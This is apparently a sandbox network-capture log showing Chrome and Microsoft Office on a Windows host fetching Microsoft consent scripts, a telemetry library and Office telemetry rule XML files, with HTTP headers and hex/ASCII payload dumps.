2024-11-24 04:12:03 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	49823	13.107.246.63	443	6952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:02 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 04:12:03 UTC	713	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:03 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 32789 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: ae9d672f-401e-00c3-76da-3dd985000000 x-ms-version: 2009-09-19 x-azure-ref: 20241124T041203Z-178bfbc474b9fdhphC1NYCac0n00000005cg000000007qp1 Accept-Ranges: bytes
2024-11-24 04:12:03 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-24 04:12:03 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-24 04:12:03 UTC	712	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-24 04:12:03 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button
2024-11-24 04:12:03 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	49830	13.107.246.63	443	6952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:04 UTC	633	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: 0x8DCEC757C1AD1D1 If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
2024-11-24 04:12:04 UTC	807	IN	HTTP/1.1 304 Not Modified Date: Sun, 24 Nov 2024 04:12:04 GMT Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241124T041204Z-178bfbc474bnwsh4hC1NYC2ubs00000005g000000000aenb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:04 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:04 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c57d99b7-c01e-0079-4efd-3de51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041204Z-178bfbc474bgvl54hC1NYCsfuw00000005h0000000000yga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:05 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:04 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:04 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041204Z-178bfbc474bmqmgjhC1NYCy16c00000005gg000000008p3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:05 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:04 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:05 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041205Z-178bfbc474b9xljthC1NYCtw94000000057g00000000n2ev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:05 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:04 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:05 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 3272c5ec-601e-003d-7d76-3b6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041205Z-174c587ffdf4zw2thC1TEBu340000000041g000000004xhr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:05 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:04 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:05 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 45806a8e-701e-003e-807c-3b79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041205Z-174c587ffdfmrvb9hC1TEBtn38000000040g0000000016dn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:05 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49838	13.107.246.63	443	6952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:05 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 04:12:05 UTC	889	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:05 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241124T041205Z-174c587ffdfks6tlhC1TEBeza400000004100000000060eb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:05 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-24 04:12:06 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 